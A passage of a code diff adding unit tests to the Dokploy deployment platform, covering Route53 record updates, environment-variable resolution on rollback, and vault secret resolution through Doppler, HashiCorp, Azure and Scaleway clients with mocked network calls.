expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||
});
|
||||
|
||||
it("deletes the old record set and creates the new one on rename", async () => {
|
||||
const existingSet = {
|
||||
Name: "old.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
};
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
|
||||
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
|
||||
type: "A",
|
||||
name: "new.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||
{
|
||||
Action: "UPSERT",
|
||||
ResourceRecordSet: {
|
||||
Name: "new.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips the DELETE when the old record no longer exists", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [] })
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
|
||||
type: "A",
|
||||
name: "new.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
|
||||
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.deleteRecord", () => {
|
||||
it("deletes the record set found by name/type", async () => {
|
||||
const existingSet = {
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
};
|
||||
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the record no longer exists", async () => {
|
||||
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
|
||||
|
||||
await expect(
|
||||
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
|
||||
).rejects.toThrow("not found");
|
||||
});
|
||||
|
||||
it("throws for a malformed record id", async () => {
|
||||
await expect(
|
||||
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
|
||||
).rejects.toThrow("Invalid Route53 record id");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.testConnection", () => {
|
||||
it("resolves when ListHostedZones succeeds", async () => {
|
||||
send.mockResolvedValueOnce({ HostedZones: [] });
|
||||
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("propagates SDK errors", async () => {
|
||||
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
|
||||
await expect(route53Client.testConnection(config)).rejects.toThrow(
|
||||
"InvalidClientTokenId",
|
||||
);
|
||||
});
|
||||
});
|
||||
108
apps/dokploy/__test__/env/rollback-environment.test.ts
vendored
Normal file
108
apps/dokploy/__test__/env/rollback-environment.test.ts
vendored
Normal file
@ -0,0 +1,108 @@
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/index";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const projectEnv = `
|
||||
ENVIRONMENT=staging
|
||||
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
|
||||
`;
|
||||
|
||||
const environmentEnv = `
|
||||
NODE_ENV=production
|
||||
POSTGRES_HOST=postgres.internal
|
||||
POSTGRES_PORT=5432
|
||||
REDIS_URL=redis://redis.internal:6379
|
||||
`;
|
||||
|
||||
const serviceEnv = `
|
||||
NODE_ENV=\${{environment.NODE_ENV}}
|
||||
REDIS_URL=\${{environment.REDIS_URL}}
|
||||
PORT=3000
|
||||
`;
|
||||
|
||||
/**
|
||||
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
|
||||
* the service env, the environment env and the project env captured at deploy time.
|
||||
*/
|
||||
const fullContext = {
|
||||
env: serviceEnv,
|
||||
environment: {
|
||||
env: environmentEnv,
|
||||
project: {
|
||||
env: projectEnv,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe("prepareEnvironmentVariables for application rollback", () => {
|
||||
it("resolves environment variables from the rollback snapshot", () => {
|
||||
const result = prepareEnvironmentVariables(
|
||||
fullContext.env,
|
||||
fullContext.environment.project.env,
|
||||
fullContext.environment.env,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=production",
|
||||
"REDIS_URL=redis://redis.internal:6379",
|
||||
"PORT=3000",
|
||||
]);
|
||||
});
|
||||
|
||||
it("resolves project and environment variables together on rollback", () => {
|
||||
const rollbackEnv = `
|
||||
DATABASE_URL=\${{project.DATABASE_URL}}
|
||||
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
|
||||
ENVIRONMENT=\${{project.ENVIRONMENT}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
projectEnv,
|
||||
environmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
|
||||
"POSTGRES_URL=postgres://postgres.internal:5432/app",
|
||||
"ENVIRONMENT=staging",
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the environment env of the snapshot is not passed", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables(fullContext.env, projectEnv),
|
||||
).toThrow("Invalid environment variable: environment.NODE_ENV");
|
||||
});
|
||||
|
||||
it("maintains precedence: service > environment > project on rollback", () => {
|
||||
const conflictingProjectEnv = `
|
||||
NODE_ENV=project
|
||||
API_URL=https://project.api.com
|
||||
`;
|
||||
|
||||
const conflictingEnvironmentEnv = `
|
||||
NODE_ENV=environment
|
||||
API_URL=https://environment.api.com
|
||||
`;
|
||||
|
||||
const rollbackEnv = `
|
||||
NODE_ENV=service
|
||||
PROJECT_API_URL=\${{project.API_URL}}
|
||||
ENVIRONMENT_API_URL=\${{environment.API_URL}}
|
||||
SELF_REFERENCE=\${{NODE_ENV}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
conflictingProjectEnv,
|
||||
conflictingEnvironmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=service",
|
||||
"PROJECT_API_URL=https://project.api.com",
|
||||
"ENVIRONMENT_API_URL=https://environment.api.com",
|
||||
"SELF_REFERENCE=service",
|
||||
]);
|
||||
});
|
||||
});
|
||||
618
apps/dokploy/__test__/env/vault.test.ts
vendored
Normal file
618
apps/dokploy/__test__/env/vault.test.ts
vendored
Normal file
@ -0,0 +1,618 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const findMany = vi.fn();
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: (...args: unknown[]) => findMany(...args),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
|
||||
import {
|
||||
resolveVaultReferences,
|
||||
withResolvedVaultRefs,
|
||||
} from "@dokploy/server/utils/vault";
|
||||
import { azureClient } from "@dokploy/server/utils/vault/azure";
|
||||
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
|
||||
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
|
||||
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
beforeEach(() => {
|
||||
findMany.mockReset();
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
const scope = {
|
||||
organizationId: "org-1",
|
||||
projectId: "proj-1",
|
||||
environmentId: "env-1",
|
||||
};
|
||||
|
||||
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
|
||||
|
||||
describe("resolveVaultReferences", () => {
|
||||
it("returns input untouched and skips the db when no refs are present", async () => {
|
||||
const env = "FOO=bar\nBAZ=${{project.QUX}}";
|
||||
const result = await resolveVaultReferences(env, scope);
|
||||
expect(result).toBe(env);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns null/empty inputs unchanged", async () => {
|
||||
expect(await resolveVaultReferences(null, scope)).toBeNull();
|
||||
expect(await resolveVaultReferences("", scope)).toBe("");
|
||||
});
|
||||
|
||||
it("throws when refs exist but no organization context is given", async () => {
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
|
||||
).rejects.toThrow("not supported in this context");
|
||||
});
|
||||
|
||||
it("throws for an unknown provider", async () => {
|
||||
findMany.mockResolvedValue([]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
|
||||
).rejects.toThrow('Vault provider "missing" not found');
|
||||
});
|
||||
|
||||
it("throws when the provider is not assigned to the project", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("throws when the provider is restricted to another environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("allows a provider restricted to the matching environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
|
||||
const result = await resolveVaultReferences(
|
||||
"FOO=${{vault.prod.SECRET}}",
|
||||
scope,
|
||||
);
|
||||
expect(result).toBe("FOO=value-1");
|
||||
});
|
||||
|
||||
it("resolves refs through a doppler provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
|
||||
);
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is missing in the provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
|
||||
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
|
||||
).rejects.toThrow('secret "MISSING" not found');
|
||||
});
|
||||
});
|
||||
|
||||
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
|
||||
it("resolves entity env sources so sync interpolation sees real values", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
|
||||
|
||||
const entity = {
|
||||
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const resolved = await withResolvedVaultRefs(entity);
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
resolved.env,
|
||||
resolved.environment.project.env,
|
||||
resolved.environment.env,
|
||||
);
|
||||
|
||||
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
|
||||
});
|
||||
|
||||
it("resolves buildArgs and buildSecrets when present", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
|
||||
|
||||
const resolved = await withResolvedVaultRefs({
|
||||
env: "FOO=bar",
|
||||
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
|
||||
buildSecrets: null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
});
|
||||
|
||||
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
|
||||
expect(resolved.buildSecrets).toBeNull();
|
||||
expect(resolved.env).toBe("FOO=bar");
|
||||
});
|
||||
|
||||
it.each([
|
||||
["service env", { env: "SECRET=${{vault.locked.X}}" }],
|
||||
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
|
||||
])(
|
||||
"rejects a ref to an unassigned provider placed in the %s",
|
||||
async (_source, overrides) => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "locked",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
|
||||
const entity = {
|
||||
env: (overrides as { env?: string }).env ?? "FOO=bar",
|
||||
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env:
|
||||
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
|
||||
"not enabled for this project/environment",
|
||||
);
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
},
|
||||
);
|
||||
|
||||
it("rejects a ref restricted to another environment from the environment env", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod-only",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
|
||||
await expect(
|
||||
withResolvedVaultRefs({
|
||||
env: null,
|
||||
environment: {
|
||||
environmentId: "dev-env",
|
||||
env: "SECRET=${{vault.prod-only.X}}",
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
}),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
|
||||
).toThrow("Unresolved vault reference");
|
||||
});
|
||||
|
||||
it("keeps working without vault refs", () => {
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
"FOO=${{project.BAR}}",
|
||||
"BAR=baz",
|
||||
);
|
||||
expect(prepared).toEqual(["FOO=baz"]);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("hashicorp client", () => {
|
||||
const config = {
|
||||
providerType: "hashicorp" as const,
|
||||
url: "https://vault.example.com",
|
||||
token: "hvs.token",
|
||||
mount: "secret",
|
||||
};
|
||||
|
||||
it("rejects refs without a field", async () => {
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod"]),
|
||||
).rejects.toThrow("expected format <path>:<field>");
|
||||
});
|
||||
|
||||
it("groups refs by path and picks fields from KV v2 data", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
|
||||
);
|
||||
|
||||
const result = await hashicorpClient.getSecrets(config, [
|
||||
"myapp/prod:USER",
|
||||
"myapp/prod:PASS",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"myapp/prod:USER": "admin",
|
||||
"myapp/prod:PASS": "pw",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://vault.example.com/v1/secret/data/myapp/prod",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when a field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
|
||||
).rejects.toThrow('field "MISSING" not found');
|
||||
});
|
||||
|
||||
it("lists full path:field refs by walking directories", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("/metadata?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
|
||||
}
|
||||
if (url.includes("/metadata/myapp?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["prod"] } });
|
||||
}
|
||||
if (url.includes("/data/myapp/prod")) {
|
||||
return jsonResponse({
|
||||
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
|
||||
});
|
||||
}
|
||||
if (url.includes("/data/shared")) {
|
||||
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const names = await hashicorpClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual([
|
||||
"myapp/prod:API_KEY",
|
||||
"myapp/prod:DB_PASSWORD",
|
||||
"shared:STRIPE_KEY",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("azure client", () => {
|
||||
const config = {
|
||||
providerType: "azure" as const,
|
||||
vaultUri: "https://my-vault.vault.azure.net",
|
||||
tenantId: "tenant-1",
|
||||
clientId: "client-1",
|
||||
clientSecret: "secret-1",
|
||||
};
|
||||
|
||||
it("authenticates and reads secrets by name", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com/tenant-1")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("/secrets/db-password?")) {
|
||||
return jsonResponse({ value: "azure-pw" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const result = await azureClient.getSecrets(config, ["db-password"]);
|
||||
|
||||
expect(result).toEqual({ "db-password": "azure-pw" });
|
||||
});
|
||||
|
||||
it("throws a clear error for missing secrets", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found',
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names from paged results", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("skiptoken")) {
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/second` }],
|
||||
nextLink: null,
|
||||
});
|
||||
}
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/first` }],
|
||||
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
|
||||
});
|
||||
});
|
||||
|
||||
const names = await azureClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["first", "second"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("doppler client", () => {
|
||||
it("propagates auth errors with the status code", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
|
||||
await expect(
|
||||
dopplerClient.getSecrets(
|
||||
{ providerType: "doppler", serviceToken: "bad" },
|
||||
["FOO"],
|
||||
),
|
||||
).rejects.toThrow("status 401");
|
||||
});
|
||||
});
|
||||
|
||||
describe("scaleway client", () => {
|
||||
const config = {
|
||||
providerType: "scaleway" as const,
|
||||
region: "fr-par",
|
||||
projectId: "project-1",
|
||||
secretKey: "scw-secret-key",
|
||||
apiUrl: "https://api.scaleway.com",
|
||||
};
|
||||
|
||||
const accessResponse = (value: string) =>
|
||||
jsonResponse({
|
||||
secret_id: "secret-1",
|
||||
revision: 1,
|
||||
data: Buffer.from(value).toString("base64"),
|
||||
});
|
||||
|
||||
it("reads a secret by name from the root path and decodes the payload", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
|
||||
|
||||
const result = await scalewayClient.getSecrets(config, ["db-url"]);
|
||||
|
||||
expect(result).toEqual({ "db-url": "postgres://real" });
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toBe(
|
||||
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
|
||||
);
|
||||
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
|
||||
"scw-secret-key",
|
||||
);
|
||||
});
|
||||
|
||||
it("sends the folder of a path-qualified ref as secret_path", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("value"));
|
||||
|
||||
await scalewayClient.getSecrets(config, ["prod/db/password"]);
|
||||
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain(
|
||||
"secret_name=password&secret_path=%2Fprod%2Fdb",
|
||||
);
|
||||
});
|
||||
|
||||
it("extracts a field from a JSON secret and fetches the secret once", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
|
||||
);
|
||||
|
||||
const result = await scalewayClient.getSecrets(config, [
|
||||
"db-creds:user",
|
||||
"db-creds:port",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"db-creds:user": "admin",
|
||||
"db-creds:port": "5432",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is not JSON but a field is requested", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse("plain-value"));
|
||||
|
||||
await expect(
|
||||
scalewayClient.getSecrets(config, ["db-creds:user"]),
|
||||
).rejects.toThrow("is not JSON");
|
||||
});
|
||||
|
||||
it("throws when the requested field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
|
||||
|
||||
await expect(
|
||||
scalewayClient.getSecrets(config, ["db-creds:password"]),
|
||||
).rejects.toThrow('field "password" not found');
|
||||
});
|
||||
|
||||
it("throws a clear error for a missing secret", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ message: "not found" }, false, 404),
|
||||
);
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found in path "/"',
|
||||
);
|
||||
});
|
||||
|
||||
it("reports authentication failures with the API message", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ message: "denied authentication" }, false, 403),
|
||||
);
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||
"authentication failed (status 403: denied authentication)",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when the secret has no enabled version", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
|
||||
|
||||
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||
"has no enabled version",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a ref without a secret name", async () => {
|
||||
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
|
||||
"expected format <name> or <folder>/<name>[:field]",
|
||||
);
|
||||
});
|
||||
|
||||
it("tests the connection against the secrets listing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
|
||||
|
||||
await scalewayClient.testConnection(config);
|
||||
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names with their folder prefix", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({
|
||||
secrets: [
|
||||
{ id: "1", name: "db-url", path: "/" },
|
||||
{ id: "2", name: "password", path: "/prod/db" },
|
||||
],
|
||||
total_count: 2,
|
||||
}),
|
||||
);
|
||||
|
||||
const names = await scalewayClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["db-url", "prod/db/password"]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("follows pagination until a short page is returned", async () => {
|
||||
const page = (start: number, size: number) =>
|
||||
jsonResponse({
|
||||
secrets: Array.from({ length: size }, (_, index) => ({
|
||||
id: String(start + index),
|
||||
name: `secret-${start + index}`,
|
||||
path: "/",
|
||||
})),
|
||||
});
|
||||
mockFetch.mockImplementation(async (url: string) =>
|
||||
url.includes("page=2") ? page(101, 2) : page(1, 100),
|
||||
);
|
||||
|
||||
const names = await scalewayClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toHaveLength(102);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("resolves env refs end to end through a scaleway provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "scw-prod",
|
||||
providerType: "scaleway",
|
||||
config,
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(accessResponse("s3cret"));
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_PASSWORD=s3cret");
|
||||
});
|
||||
});
|
||||
106
apps/dokploy/__test__/git-provider/github-clone-host.test.ts
Normal file
106
apps/dokploy/__test__/git-provider/github-clone-host.test.ts
Normal file
@ -0,0 +1,106 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// cloneGithubRepository builds a shell command; the only thing under test here
|
||||
// is which host ends up in the clone URL, so the app auth is stubbed out.
|
||||
const mockFindGithubById = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server/services/github", () => ({
|
||||
findGithubById: mockFindGithubById,
|
||||
}));
|
||||
|
||||
vi.mock("@octokit/auth-app", () => ({
|
||||
createAppAuth: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("octokit", () => ({
|
||||
Octokit: class {
|
||||
auth = async () => ({ token: "gh-token" });
|
||||
},
|
||||
}));
|
||||
|
||||
const { cloneGithubRepository } = await import(
|
||||
"@dokploy/server/utils/providers/github"
|
||||
);
|
||||
|
||||
const provider = (githubUrl: string) => ({
|
||||
githubId: "gh-1",
|
||||
